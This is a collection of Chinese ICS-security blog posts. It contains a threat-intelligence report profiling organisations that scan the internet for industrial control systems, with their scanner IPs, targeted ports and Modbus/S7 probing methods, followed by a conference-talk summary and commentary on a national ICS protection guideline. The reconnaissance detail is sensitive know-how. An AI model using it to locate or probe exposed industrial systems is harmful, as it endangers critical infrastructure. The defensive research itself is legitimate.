ZoomEye是知道创宇打造的面向网络空间的搜索引擎,ZoomEye于2015年3月上线了工控专题(ics.zoomeye.org),ZoomEye支持12种工控协议的数据检索,使用者也可以使用工控协议的端口和特征Dork关键字发现暴露在互联网的工控软硬件,对于工控协议类型的数据,ZoomEye启用了保护策略,一般用户无法直接查看。

2) 傻蛋(开放式)

傻蛋联网设备搜索系统由湖南傻蛋科技有限公司研发,傻蛋目前并未对外宣称对工控协议进行了探测,并且系统内一般用户也无法通过工控协议端口搜索到数据,但从我们搜集到的数据来看,傻蛋的探测节点对工控协议有一定的探测抓取行为。

3) 中国网安(内部)

据公开的资料显示,中国电子科技集团网络信息安全有限公司(简称中国网安)曾发布过一款叫工业控制系统接入互联网威胁感知系统的产品,据资料介绍该系统具有扫描ModbusTCP、EtherNet/IP、ISO-TSAP(S7)、FINS、WebSCADA等协议的能力。

4) 绿盟(内部)

Seer赛尔广谱平台来自绿盟科技研究院,绿盟广谱平台是一款网络空间数据与分析的搜索引擎,主要用于搜集互联网主机开放的端口,服务相关数据,绿盟曾经公开发布过“对欧姆龙设备全球统计报告”,根据其介绍该平台具有探测工控协议的能力。

  • 科研院校

1)  谛听(开放式)

谛听由东北大学计算机学院编写研发,谛听主要针对于对工控设备的识别和定位,根据官网显示,目前谛听支持12种工控协议,使用者也可以使用Dork关键字在传统服务的特征中定位工控系统,该系统与知道创宇ZoomEye的ICS专题有较高的重合度。

2)  中科院信工所(内部)

据公开资料显示,信工所曾在此方面进行了研究,其“网络空间设备搜索系统”对常见的工控协议具有探测能力。

  • 应急响应

1)  电子一所(内部)

据公开资料显示,自2013年初,电子一所开始受主管部门委托开展重要控制系统在线搜索监测工作,并建设了重要控制系统在线安全监测平台,对连接在互联网上的重要工业控制系统进行安全监测以及预警。电子一所的安全监测平台及关键技术获得了中国电子学会2015年科技进步奖,平台曾在2015年国家网络安全宣传周上展示,《焦点访谈》、《走近科学》等栏目对其有关工作进行了报导。

2)  CNCERT(内部)

我们曾在“追踪ICS扫描者”一文中指出了CNCERT曾在此方面进行了研究。

3.2 国外组织介绍

1) Shodan(开放式)

Shodan是一个联网设备搜索引擎,Shodan于2013年增加了针对工控协议的探测,用户可以直接使用工控协议的端口直接检索该协议的所有数据,用户也可以使用特征Dork直接搜索对应设备数据。

2) Rapid7(研究项目)

Project Sonar是Rapid7的一个安全研究项目,该项目通过扫描不同的服务和协议,来发现对应全球漏洞态势,Rapid7基于此该项目曾第一时间发布过针对ATGs设备、MoxaNPort设备的全网数据统计报告。

3) University of Michigan(研究项目)

Internet-Wide Scanning Research是密歇根大学的安全研究项目,该项目通过扫描全网来了解协议或服务端口的分布和安全趋势。

4) Kudelski Security(研究项目)

Kudelski Security是总部位于瑞士的一家信息安全公司,该公司的K-SONAR网络安全态势感知解决方案可以网络服务安全性进行监控,有数据显示该公司对Modbus、BACnet有周期的扫描探测。

3.3 各组织ICS探测成熟度分析

ICS探测扫描组织的能力成熟度与组织本身的业务意图和技术能力相关,组织的业务意图决定组织需要的技术水平,并牵引组织的技术水平提升。ICS探测扫描技术分为三个阶段,第一阶段为探索型阶段,主要验证探测扫描技术的可行性,在互联网上进行偶尔的冒烟测试或基于公开的数据进行验证;第二阶段为研究/测试型阶段,此阶段主要是对探测扫描技术的深度和广度进行验证测试,并在互联网上进行无规律的测试验证;第三阶段为运营型阶段,技术在深度和广度上已进行了非常深入的积累,并可支撑组织持续性的业务运营,持续性的提供服务,此阶段扫描行为相对比较规律。

灯塔实验室持续对ICS探测扫描行为进行了跟踪研究,粗略对各组织进行分析如下:

组织名称 技术阶段 组织意图
Shodan 运营型 安全研究,已商业化
电子一所 运营型 行业风险通报(态势感知、应急响应)
Kudelski Security 运营型 安全研究,已实现产品化
Project Sonar(Rapid7) 研究/测试型 安全研究
ZoomEye(知道创宇) 研究/测试型 探索商业价值
University of Michigan 研究/测试型 安全研究
傻蛋(傻蛋科技) 研究/测试型 技术探索
CNCERT 探索型 应急响应
谛听(东北大学) 探索型 技术探索,试图商业化
中科院信工所 探索型 技术探索
中国网安 探索型 安全研究,试图产品化

四、ICS情报收集的组织简要数据汇总

4.1 首次扫描时间与扫描节点IP

目前我们已经从众多的探测扫描数据中确认了上述部分组织的ICS扫描行为、类型,以及该组织扫描器对应的IP,其中追溯的时间跨度超过2年。根据出现的顺序我们整理了如下表。

组织名称 首次时间点 该组织扫描器IP(红色为初次出现的IP)
Shodan 2014-02-22 71.6.167.142
71.6.135.131
66.240.236.119
198.20.87.98
71.6.158.166
82.221.105.7
85.25.43.94
71.6.165.200*
198.20.99.130
66.240.192.138
71.6.146.185
66.240.219.146
198.20.70.113
198.20.69.98
198.20.70.114
Project Sonar(Rapid7) 2014-06-25 71.6.216.55*
71.6.216.32/27
ZoomEye(知道创宇) 2014-06-30 118.192.48.6
118.192.48.17
118.192.48.18
118.192.48.27*
125.64.94.200
118.192.48.33
118.192.48.40
89.248.167.159
183.60.244.29
CNCERT 2014-11-09 202.108.211.62*
202.108.211.63*
Kudelski Security 2015-06-03 185.35.62.11*
185.35.62.1/22
谛听(东北大学) 2015-09-18 202.118.19.31
202.118.19.45*
202.118.19.95
202.118.19.125
202.118.19.148
202.118.19.197
202.118.19.188
中科院信工所 2015-11-17 54.238.133.8*
111.204.219.194
54.138.110.7
134.223.22.11
125.0.15.89
University of Michigan 2015-12-05 141.212.121.143*
141.212.121.0/24
141.212.122.0/24
傻蛋(傻蛋科技) 2015-12-24 113.240.250.155*
113.240.250.154
113.240.250.156
113.240.250.157
360 2016-01-09 61.240.144.65*
61.240.144.64
61.240.144.66
61.240.144.67
中国网安 2016-01-28 110.185.210.152*

4.2 扫描节点IP与关注的ICS协议

我们以Shodan当前支持的工控协议对标,分析了如上组织在扫描探测中关注的工控协议类型,如下表为该组织与对应扫描节点关注的协议类型。

注:根据我们的分析Shodan当前扫描了超过了29个工控或IOT类型软硬件的端口,在我们目前已标注的组织中,绝大部分未超过该数量,所以我们选择了以Shodan当前支持的协议端口作为基准分析模版。

Shodan当前支持端口 描述 关注此协议的其他组织IP(部分)
102 Siemens S7/MMS 141.212.122.0/24(UMICH)
141.212.121.0/24(UMICH)
118.192.48.6(ZoomEye)
118.192.48.27(ZoomEye)
118.192.48.40(ZoomEye)
113.240.250.156(傻蛋)
113.240.250.155(傻蛋)
54.238.133.8(信工所)
61.240.144.65(360)
110.185.210.152(中国网安)
502 Modbus 141.212.122.0/24(UMICH)
141.212.121.0/24(UMICH)
118.192.48.6(ZoomEye)
118.192.48.40(ZoomEye)
185.35.62.220(Kudelski)
185.35.62.1/24(Kudelski)
113.240.250.156(傻蛋)
110.185.210.152(傻蛋)
202.118.19.31(谛听)
61.240.144.65(360)
110.185.210.152(中国网安)
771 RealPort
789 Red Lion 202.118.19.31(谛听)
118.192.48.40(ZoomEye)
1200 Codesys
1911 Tridium Fox 141.212.122.0/24(UMICH)
141.212.121.0/24(UMICH)
113.240.250.156(傻蛋)
202.118.19.31(谛听)
54.238.133.8(信工所)
118.192.48.40(ZoomEye)
110.185.210.152(中国网安)
1962 PCWorx 113.240.250.156(傻蛋)
202.118.19.31(谛听)
118.192.48.27(ZoomEye)
110.185.210.152(中国网安)
2123 GPRS Tunneling
2152 GPRS Tunneling
2404 IEC104 113.240.250.156(傻蛋)
202.118.19.31(谛听)
118.192.48.27(ZoomEye)
118.192.48.40(ZoomEye)
110.185.210.152(中国网安)
2455 Codesys
3386 GPRS Tunneling
4800 Moxa NPort
4911 Tridium Fox SSL
5006 Mitsubishi MELSEC
5007 Mitsubishi MELSEC 202.118.19.31(谛听)
113.240.250.156(傻蛋)
118.192.48.27(ZoomEye)
118.192.48.40(ZoomEye)
5094 HART-IP
9600 OMRON FINS 113.240.250.156(傻蛋)
202.118.19.31(谛听)
125.64.94.200(ZoomEye)
10001 ATGs Devices 71.6.216.41(Rapid7)
17185 Vxworks WDB 118.192.48.33(ZoomEye)
71.6.216.44(Rapid7)
18245 GE SRTP
18246 GE SRTP
20000 DNP3 141.212.122.0/24(UMICH)
141.212.121.0/24(UMICH)
113.240.250.156(傻蛋)
113.240.250.155(傻蛋)
110.185.210.152(中国网安)
202.118.19.31(谛听)
118.192.48.40(ZoomEye)
20547 ProConOS 113.240.250.156(傻蛋)
202.118.19.31(谛听)
125.64.94.200(ZoomEye)
110.185.210.152(中国网安)
30718 Lantronix
34962 Profinet
37777 Dahua Dvr 113.240.250.155(傻蛋)
54.238.133.8(信工所)
61.240.144.64(360)
44818 EtherNet/IP 113.240.250.156(傻蛋)
113.240.250.155(傻蛋)
118.192.48.27(ZoomEye)
118.192.48.40(ZoomEye)
125.64.94.200(ZoomEye)
202.118.19.31(谛听)
110.185.210.152(中国网安)
47808 BACnet 141.212.122.0/24(UMICH)
141.212.121.0/24(UMICH)
185.35.62.1/24(Kudelski)
113.240.250.156(傻蛋)
202.118.19.31(谛听)
54.238.133.8(信工所)
71.6.216.55(Rapid7)

五、国外组织探测扫描行为分析

5.1 Shodan(Shodan.io)

5.1.1 针对扫描节点的行为统计

IP地址 开始统计时间 活跃结束时间 会话次数 针对协议 存在高交互行为
71.6.167.142 2015/07/04 23:25 2016/1/20 10次 s7comm(9)
modbus(1)
71.6.135.131 2014/12/31
07:08
至今 12次 s7comm(7)
modbus(5)
66.240.236.119 2015/11/21           10:10 至今 13次 s7comm(10)
modbus(3)
198.20.87.98 2015/11/30
09:53
2016/5/5 8次 modbus(6)
s7comm(2)
×
71.6.158.166 2015/12/7
08:13
至今 5次 modbus(2)
s7comm(3)
82.221.105.7 2014/12/10
05:29
2015/12/16 1次 s7comm(1)
85.25.43.94 2015/12/24
16:08
至今 5次 s7comm(3)
modbus(2)
71.6.165.200 2015/03/16
10:59
2016/5/11 15次 s7comm(12)
modbus(3)
198.20.99.130 2016/2/8
10:02
2016/2/8 1次 s7comm(1)
66.240.192.138 2015/10/01
12:58
2016/3/31 11次 modbus(7)
s7comm(4)
71.6.146.185 2016/4/7
05:46
2016/4/7 4次 modbus(4) ×
66.240.219.146 2016/4/9
21:45
2016/4/9 1次 s7comm(1)
198.20.70.113 2015/1/5
19:12
2016/01/01 5次 s7comm(5)
198.20.69.98 2015/3/4
04:59
2015/11/24 6次 s7comm(6)
198.20.70.114 2015/1/5
19:12
2016/1/1 5次 s7comm(5)

shodan_timeline

shodan_count

5.1.2 协议交互深度统计

shodan_interact

5.1.3 组织行为分析

从我们收集的数据来看,Shodan针对Modbus与S7comm协议进行扫描的IP地址存在15个(不完全统计),遍布美国、德国、荷兰等不同地域,同时具备强大的分布式调度能力。从针对工控专用协议扫描探测的过程来看,Shodan扫描引擎对工控协议的情报收集可以追溯到2014年。据不完全统计,截至目前Shodan已经支持了超过29个工控协议。

从协议扫描深度来看,Shodan基于Modbus协议的扫描已经深入到可识别PLC上具体项目文件信息,同时Shodan针对Modbus信息的获取仅依赖4个包含90功能码数据包,在保证获取相同信息的同时极大程度提高了扫描效率,由此可见Shodan团队对于协议的分析理解程度极高。

从扫描方式上来看,Shodan在针对Modbus协议进行扫描时,在判断502端口开放后先进行了通过17功能码进行的确认帧,在收到了正确的响应后才正式开始发送数据包;针对S7协议扫描时,同样也会先进行TPKP和COTP连接,再确认连接无误后,重新进行正式扫描行为,该处理细节能保证扫描行为的精准性和高效性,避免设备端口接受到非匹配协议数据而产生隐患。

从行为的时间分布上来看,Shodan团队针对工控协议的扫描具有明显的时间规律,Shodan同时对社区关注极高,目前已经集成了我们曾经发布的GE SRTP、MELSEC-Q、MoxaNPort探测识别方法。

另外,值得关注的是Shodan还具备针对工控协议蜜罐的识别机制,该机制依赖IP基础位置信息、开放端口情况、蜜罐默认配置信息等进行综合评判,通过产生量化的系数来进行蜜罐甄别。

5.2 University of Michigan

5.2.1 针对扫描节点的行为统计

IP地址 开始统计时间 活跃结束时间 会话次数 针对协议 存在高交互行为
141.212.122.128 2015/11/14
23:18
2015/11/17 2次 modbus(2)
141.212.122.96 2015/11/24
18:22
2016/4/2 7次 modbus(3)
s7comm(4)
141.212.122.80 2015/12/1
21:54
2015/12/6 4次 modbus(4) ×
141.212.122.143 2015/12/3
14:56
2015/12/3 4次 modbus(3)
s7comm(1)
141.212.122.97 2015/12/6
1:06
2014/4/27 9次 s7comm(9)
141.212.122.129 2015/12/9
0:48
至今 44次 modbus(15)
s7comm(29)
141.212.122.81 2016/1/13
17:33
至今 39次 modbus(7)
s7comm(32)
141.212.122.113 2016/4/6
18:29
至今 15次 modbus(5)
s7comm(10)
×
141.212.122.64 2015/12/16
13:38
2016/1/10 15次 modbus(1)
s7comm(14)
×
141.212.122.112 2015/12/9
10:36
2016/3/5 38次 modbus(10)
s7comm(28)

umich_timeline

umich_count

5.2.2 协议交互深度统计

umich_interact

5.2.3 组织行为分析

从当前数据来看Censys平台数据依赖于密歇根大学的Internet-Wide Scanning项目,Internet-Wide Scanning项目具备细粒度的时间轴态势感知能力以及成熟稳定的工程化数据采集能力。

从行为出口IP地址数量来看,仅针对Modbus于S7comm协议的地址存在10个(不限于),该扫描引擎具备分布式管理调度能力。从协议扫描深度来看,其引擎具备稳定的交互协议扫描深度。

从扫描方式上看,该引擎采取了简单、稳定的扫描方式,具备较高的效率。从行为的时间分布上来看,所有扫描节点都具备很高的时间规律性,相比同类扫描引擎具有较高的扫描频率,其具备时间轴上更加细粒度的扫描探测能力。

六、国内组织探测扫描行为分析

6.1 谛听(icsfind.com)

6.1.1 针对扫描节点的行为统计

 

IP地址 开始统计时间 活跃结束时间 会话次数 针对协议 存在高交互行为
202.118.19.31 2016/4/7
14:11
2016/4/7 1次 s7comm(1) ×
202.118.19.45 2015/9/18
12:35
2015/9/18 2次 s7comm(1)
202.118.19.95 2016/4/13
03:13
2016/4/13 2次 modbus(2)
202.118.19.125 2015/10/12
11:06
2015/11/12 41次 s7comm(41)
202.118.19.148 2015/10/19
03:43
2015/10/19 18次 s7comm(18) ×
202.118.19.197 2016/04/19
15:08
2016/4/19 2次 s7comm(2)
202.118.19.188 2016/04/07
12:44
至今 15次 s7comm(15)

neu_timeline

neu_count

6.1.2 协议交互深度统计

neu_interact

6.1.3 组织行为分析

谛听网络空间工控设备搜索平台原名426网络空间安全搜索引擎工控篇,最早于2015年12月被媒体报道。从我们的数据分析来看,该搜索引擎从2015年9月18号开始针对工控协议扫描,然而该团队行为活跃到2015年11月后就没有了明显行为,直到2016年4月19号重新出现。

根据在平台查找Modbus、S7数据,显示数据获取时间为2015年10月19、20日,可以看出谛听搜索平台公开数据过于陈旧,相比于同类引擎从数据总量与时间轴感知能力方面欠缺,同时平台数据的存量也不及同类平台。

从协议交互深度与扫描行为方式上看,该引擎Modbus协议交互程度较低,S7协议使用了SCADA Strange Love发布的plcscan脚本相同的交互方式。

6.2 傻蛋(oshadan)

6.2.1 针对扫描节点的行为统计

IP地址 开始统计时间 活跃结束时间 会话次数 针对协议 存在高交互行为
113.240.250.155 2015/8/26
10:36
2016/1/29 99次 modbus(13)
s7comm(86)
113.240.250.156 2016/4/28
17:53
2016/4/28 27次 s7comm(27) ×

oshadan_timeline

oshadan_count

6.2.2 协议交互深度统计

oshadan_interact

6.2.3 组织行为分析

傻蛋联网设备搜索平台虽然主要针对web框架的搜索、识别,但从探测行为上,该引擎从2015年8月26日开始收集工控设备端口信息,其数据未在平台公开;从扫描频率及深度来看,该团队具备了稳定的对工控协议的扫描探测能力。我们推测该团队的此类数据可能只面向特定用户或积累到一定程度后在平台公开。

6.3 中国网安

6.3.1 针对扫描节点的行为统计

IP地址 开始统计时间 活跃结束时间 会话次数 针对协议 存在高交互行为
110.185.210.152 2016/1/28
13:44
2016/5/15
至今
104次 modbus(11)
s7comm(93)

cetc30_timeline

cetc30_count

6.3.2 协议交互深度统计

cetc30_interact

6.3.3 组织行为分析

从我们的数据来看,该团队于2016年1月开始针对工控设备进行识别扫描,我们注意到该团队疑似的一些测试行为,在一些时间点存在重复多次的连接与交互行为,其行为主要从2016年3月13日开始,110.185.210.152在13日就有19*7次,20日19*24次,15日19*23次,16日19*15次的高频率扫描,之后保持每日一次左右的探测行为,另外值得注意的该引擎针对modbus协议具备高交互扫描行为,然而该引擎的扫描脚本是基于Redpoint的modicon-info稍加改良后的版本,其携带了大量与功能标识无关的额外交互数据,这导致了扫描探测到施耐德PLC时交互时间长,请求数量多,相比于Shodan基于modbus的高交互扫描显得比较臃肿。

工控安全技术联盟·技术沙龙(第二期)

$
0
0

工控安全技术联盟致力于打造平等、开放的工控安全技术分享交流平台。灯塔实验室作为工控安全技术联盟下的公益组织,专注于工控安全技术研究与分享,同时为业内提供技术指导及行业咨询服务。

此次沙龙主题为“传统安全技术面对网络空间中的工控系统”,讨论话题将涉及工控系统的入侵手段及防御方式、网络边界防御问题、针对工控安全的威胁情报分析以及软件设备漏洞挖掘技术等相关话题。

本次沙龙活动于2016年7月9日在北京市海淀区中关村大街新七天咖啡厅圆满举行完毕,以下是来宾在沙龙上的议题汇总。

《谛听——工控网络安全态势感知》分享人:姚羽

来自东北大学的姚羽教授作为“谛听工控设备搜索系统”的项目发起人,组织学生研发了工控设备搜索引擎,旨在搜索暴漏在互联网上的工业控制系统联网设备,帮助安全厂家维护工控系统安全。本次沙龙姚教授展示了“谛听“搜索引擎的架构设计思想、系统所能展现的感知能力,同时探讨了团队未来的开发及研究方向,其中重点针对平台数据分析能力以及情报获取能力做了深入阐述。

paper1

《工控攻防研究》分享人:Dustin

来自知道创宇的Dustin长期从事工控安全技术研究及网络安全战略研究。本次沙龙的议题从美国“极光行动”说起,让大家感受到我国与美国在工控安全研究领域的巨大差异,主要表现为来自能力导向与威胁导向相互抗衡的不同局面,之后他又提出了我们继续建立技术层的检测、预警以及管理层的整体把控,最后通过展示国外恶意组织的能力研究来表明只有深入感知才能防御未知、保障安全。

paper2

《网络设备安全》分享人:timo

来自华永恒公司的安全研究员timo在本次沙龙上为听众展示了网络设备漏洞的特点、网络设备的攻击类型,深度分析了网络协议攻击、功能攻击、二进制漏洞利用中的具体的攻击方式以及案例。

paper3

《如何造“飞弹”——VxWorks系统底层构建》分享人:visual

来自宝岛台湾的visual作为迪斯科技创始人具备资深嵌入式系统、网络通信经验。本次沙龙visual用defcon会议的演讲风格给我们讲了一个生动的故事,这个故事要保密。

paper4

《工控蜜罐技术思考》分享人:董伟

电子六所工控系统信息安全国家实验室的董伟在沙龙上与大家共同探讨了工控蜜罐、蜜网的一些思考,通过传统蜜网引出了整个议题;分析了传统蜜罐的核心技术;展示了工控蜜罐与传统蜜罐在系统结构、协议、行业性上所表现出的差异;最后议题给出针对不同对象,蜜罐需要具备的能力以及如何部署、伪装的核心技术点。

paper5

《工控协议扫描方法》分享人:大壮

来自知道创宇ZoomEye后端的工程师大壮在扫描器技术领域具备多年项目开发、框架架构经验。本次沙龙上,他以工控基础协议modbus协议作为特例,展示了ZoomEye独特的扫描方式以及效果能力。

paper6

《工控威胁情报》分享人:Kimon

来自灯塔实验室的Kimon在本次沙龙上分享了关于威胁情报在工控安全领域落地的议题。该议题从美国针对网络空间的战略计划引出,提出了工控安全领域目前有待解决的问题,以及如何将威胁情报的思想及相关技术在工控安全中态势感知、检测预警、溯源分析等具体问题中落地。

paper7

《浅谈西门子PLC后门的实现方式》分享人:Z-0ne

来自灯塔实验室的Z-0ne在本次沙龙上分享了西门子S7-1200系列PLC后门的具体复现方法以及S7系列PLC后门实现的梯形图编程样例。利用西门子PLC自带的以太网通讯函数实现后门、远程攻击这一新的攻击向量,首次由SCADACS团队于去年的Black Hat公开,随后OpenSource Security团队在32C3分享了在S7-1200 PLC上实现的概念型蠕虫病毒,其更展示了利用PLC本身自带的功能实现远程攻击的可能。

paper8

《工控系统渗透测试思路探索》分享人:廖鹏

来自南瑞集团信息安全实验室渗透测试团队负责人廖鹏具备10年之久工控安全一线实战经验。本次沙龙议题从列举分析渗透对象引入,针对工控协议、上位机、下位机、工控IT环境给出了不同的渗透思路以及具体方式,最后,以展示真实渗透案例为议题圆满收尾。

paper9

活动照片:

photo1

photo2

产业发展新势能:读《工业控制系统信息安全防护指南》的管窥之见

$
0
0

  自从2011年9月《关于加强工业控制系统信息安全管理的通知》(工信部协[2011]451号)文件发布之后,国内各行各业对工业控制系统信息安全的认识都达到了一个新的高度,电力、石化、制造、烟草等多个行业,陆续制定了相应的指导性文件,来指导相应行业安全检查与整改活动。451号文填补了国内工业控制系统信息安全的政策空白,由此拉开了行业发展的帷幕。

  然而,随着国家信息安全机构职能的调整,工控安全管理工作在后续一段时间基本处于暂停状态。直到中编办对工信部在2015年9月16日发布的新“三定”职责中明确:“拟定工业控制系统网络与信息安全规划、政策、标准并组织实施,加强工业控制系统网络安全审查”,工控安全相关工作正式纳入工信部的职责范围之后,工信部以信息化和软件服务司为主管司局,开始加快工控安全的保障工作。今年5月20日,《国务院关于深化制造业与互联网融合发展的指导意见》(国发〔2016〕28号)文件明确提出:“以提升工业信息安全监测、评估、验证和应急处置等能力为重点,依托现有科研机构,建设国家工业信息安全保障中心,为制造业与互联网融合发展提供安全支撑。”今年7月25日,工业和信息化部怀进鹏副部长在山东威海组织召开全国信息化和软件服务业工作座谈会上明确提出:“推进《工业控制系统信息安全防护指南》(下文简称《指南》)的宣贯落实,提升工业信息系统安全保障能力”,这是工信部第一次在公开途径发布《指南》的有关消息。千呼万焕,2016年10月17日,在451号文件发布的5年后,《指南》终于正式印发。

  该《指南》的印发是对习总书记在“4.19”讲话精神中明确强调“采取有效措施,切实做好国家关键信息基础设施安全防护”的贯彻落实,也充分体现了11月7日发布的《国家网络安全法》中的有关条款要求。《指南》的及时发布,为工业企业和地方主管部门提供了一个有力的上位文件指导,为工业企业如何开展工业控制系统信息安全工作提供了可操作性的防护措施,并可进一步提升相关人员的工业控制系统信息安全防护意识,推进产业的整体良性发展,切实提升国家关键信息基础设施控制系统的安全防护水平。

  同时,也从另一个角度也可以体现国家对工业控制系统信息安全的重视。近两年,从公开信息统计,国家对工业控制系统信息安全项目投资逐渐提高。各部委(发改委、工信部、科技部等)在工业控制系统信息安全方面累计建设和产业化投资已超过10亿元。行业进入了快速发展阶段,各行业协会、产业联盟、软/硬服务厂商等积极参与到产业发展当中,成果显著。本《指南》明确了适用于工业控制系统信息安全的防护技术、管理体系,对工业控制系统信息安全如何防护、培训指导、技术研发、责任落实、应急响应等,都有了明确的内容指导。

  本文将就《指南》在实际应用中如何快速落地进行解读,并闸述了如何利用《指南》去开展工业控制系统信息安全工作,制订建设方案,以及相关产业、产品如何受益等。

  《指南》共分为11个大项30个条目,涵盖了安全技术体系和安全管理体系。
guide_for_information_security_protection_of_ics

一、安全技术体系

  工业控制系统信息安全事关经济发展、社会稳定和国家安全。近年来,随着新一代信息技术对工业生产活动各业务环节的不断渗透,工业控制系统从单机走向互联,从封闭走向开放,从自动化走向智能化。在生产力显著提高的同时,工业控制系统面临着日益严峻的信息安全威胁。

  其中,安全技术体系设计是工业控制系统信息安全防护的重要部分和核心,其思想主要是:构建集安全防护能力、安全风险监测能力、 应急响应能力和灾难恢复能力于一体的安全技术保障体系,切实保障工控系统信息安全。安全技术体系由应用安全防护、网络安全防护、物理安全防护、主机安全防护和数据安全防护等环节构成。

1.1、应用安全防护

  应用安全防护在《指南》中体现在第一、二条,主要强调了对病毒防护和恶意软件及配置和补丁的管理。

  在实际应用中,具体措施为:在工业主机应用程序多且复杂的情况下,选择防病毒软件;在工业主机应用程序少且简单的情况下,选择应用程序白名单软件(application whitelisting)。应用白名单在管理上过于复杂,业务流程和应用存在不断增长的复杂性和互连性,需要谨慎使用。需要建立工控系统防病毒和恶意软件入侵管理机制,并保证机制执行的一套制度。管理制度应包括:防病毒和恶意软件入侵管理的总体思路,防病毒软件的选择、安装、升级及维护,发现病毒与恶意软件的处理措施,对工控系统、临时接入设备、移动设备等。

  在新建工业控制系统时,要求工业控制网络、工业主机和工业控制设备的供应商提供推荐的安全配置,建立安全配置清单;工业企业存量的工业控制网络、工业主机和工业控制设备也可以由供应商推广安全配置清单或者由第三方安全服务供应商经过严谨测试后提供安全配置清单。建立了安全配置清单,工业企业需要定期对工业控制网络、工业主机和工业控制设备进行安全审计。在重大配置变更时,需要制定严谨的变更计划。首先在离线环境进行安全测试,进行影响分析;重要控制系统,需要在检修期间再进行变更操作,同时进行影响测试观察,保证控制系统无影响运行。关注专业或权威机构发布的工业控制系统信息安全漏洞或工控系统供应商的补丁发布,其中权威机构的清单可参考plcscan.org上发表的《工业控制系统信息安全资源汇总(国内篇)》《工业控制系统信息安全资源汇总(国外篇)》。建议工业企业采用第三方工业控制系统信息安全服务商对现场工控软硬件匹配性安全漏洞通报及加固方案推荐。工业企业自身有安全服务能力的情况下,可以自行对升级补丁进行严格安全评估与测试验证;服务能力不足的情况下,可以选择专业的工业控制系统信息安全服务商协助进行补丁的安全评估与测试验证。配置和补丁管理详细的落地措施可以参考国标GB/T 32919-2016《信息安全技术 工业控制系统安全控制应用指南》的安全控制族配置管理(CM)和安全控制项SI-2,其中补丁评估与验证方法还可参考CISSP的“补丁与漏洞管理”或IEC 62443-2-3的《Patch management in the IACS environment 》。
patch_management

 工控补丁管理流程

  可能受益的产品或厂商包括:桌面防病毒软件(360、安天、赛门铁克等),应用白名单软件(匡恩、威努特、谷神星等),安全配置核查工具(绿盟科技、启明星辰等)。

1.2、网络安全防护

  网络安全防护方面,《指南》侧重说明了边界安全防护,重点写明了开发、测试环境和生产环境之间、控制网与互联网或企业网之间、控制网不同区域之间的边界防护问题。

  工业控制系统的开发、测试环境与生产环境的安全要求不同,执行不一样的安全控制措施,需要将安全要求不同的环境分离出来,比如物理隔离或其它安全隔离手段。开发测试环境需要经常变动配置,应用各种工具,接入各种外设,如果与生产环境没有分离,可能对生产环境造成干扰及威胁引入。

  工控控制网络边界安全防护设备包括工业防火墙、工业网闸、单向隔离设备及企业定制的边界安全防护网关。工控网络与企业网互连,根据工控网络的重要性及现场需求来选择工业防火墙、工业网闸、单向隔离设备及边界安全防护网关。工控网络与互联网相连,建议选择单向隔离设备,如果对现场业务有影响,尽量选择安全级别高的设备进行安全防护。具体选择哪种隔离设备,可以通过第三方安全评估单位对现场进行评估后,给出适合现场需要的边界隔离方案。

  工控网络安全区域之间的安全防护,建议根据区域重要性和业务需求来选择使用工业防火墙、网闸还是其它安全隔离装置。可以通过第三方安全评估单位对现场进行评估后,给出适合现场需要的区域隔离方案。

  可能受益的产品或厂商包括:工业防火墙(海天炜业、三零卫士、中科网威、匡恩、威努特等),工业网闸(力控华康、启明星辰、网神等),单向隔离网关(珠海鸿瑞、科东、南瑞、东方电子等)。

  工业企业具体选择工业防火墙、网闸、单向隔离设备和边界安全网关等供应商时,可参考计算机信息系统安全专用产品销售许可服务平台:http://www.ispl.com.cn/ispl/jsp/common/ProductList_Public.jsp

1.3、物理安全防护

  物理安全防护:包括物理位置的选择、物理访问控制、防盗窃和防破坏、防雷击、防火、防水和防潮、防静电、温湿度控制、电力供应、电磁防护。具体措施为工控系统的机房和办公场地应选择在具有防震、防风和防雨等能力的建筑内;机房各出入口应安排专人值守或配置电子门禁系统,控制、鉴别和记录人员的进出情况;对机房设置视频监控和报警系统;机房建筑设置避雷装置,建立备用供电系统等。

  对重要工控资产所在区域,需要采取双因子防护措施,比如门禁加视频监控、专人值守登记加门禁等,进入重要区域实现先备案,可被审计或追溯。

  对常规工业主机上的USB、光驱、无线等接口进行拆除或封闭。确需使用,可以使用终端外设统一接入方式进行管理或对有外设的主机实行隔离存放,使用需要经过审批及访问控制才能接触。工业企业需要定期对工业主机的外设配置及使用情况进行审计,发现并消除风险。

  可能受益的产品或厂商包括:工业终端管理(中电瑞凯、匡恩、威努特等)。

1.4、主机安全防护

  主机安全防护主要体现在第五条的身份认证和第六条的远程访问安全。包括主机安全、身份鉴别、访问控制、安全审计、剩余信息保护、入侵防范、恶意代码防范、资源控制。具体措施为对登录操作系统和数据库系统的用户进行身份标识和鉴别。对工业主机、应用服务资源、工业云平台等访问或使用过程中使用身份认证管理,对不支持身份认证管理的资产,进行物理上的访问控制。对于关键资源的访问需要根据重要性级别实行多因素访问。工业企业工控系统账户权限采用申请制,以满足工作要求的最小权限原则来进行账户权限分配,并定期审计分配的权限是否超出工作需要。对工业控制设备、SCADA软件、工业通信设备等需要登录账户及密码的情况,可以采用供应商推荐的密码强度,工业企业也可以根据资产重要性采取不同强度的账户及密码,并避免使用默认口令或弱口令。对资产的登陆账户及密码的保存,需要采取严密的统一管理措施,并定期对账户及密码进行审计与更新。身份认证证书在不同系统或网络环境下分别使用,保护证书暴露后对系统和网络的影响范围。重要的身份认证证书,可以采用USB key的方式进行保护。

  工业控制系统与互联网互连需要进行边界安全防护,并关闭通用的网络服务。由于许多工业控制产品在设计之初只考虑了应用的功能需求,而并未考虑安全需求,开放了通用网络服务,而这些服务存在严重的安全漏洞。如果一定需要通用网络服务,需要设置DMZ区域,将通用网络服务放置在此区域,并且DMZ区域与工控系统采用严格的边界安全防护措施。需要进行远程访问的,需要在边界上使用单向隔离装置,并对访问时限进行备案控制,保证在数据访问时,远程访问侧不允许对单向隔离装置进行配置变更,只允许控制网侧进行配置变更。另外,使用需要远程维护的,可以采用专网或VPN进行远程接入,对接入账号实行专人专号,并对接入账户进行操作记录审计。也可以考虑在工控设备前端使用专用的VPN设备连接网络。对工控系统相关访问日志进行保护,定期对访问日志进行异地备份,并对操作过程进行合规性审计。

  可能受益的产品或厂商包括:VPN接入设备(珠海鸿瑞、T-BOX、MOXA、研华、东土等)。

1.5、数据安全防护

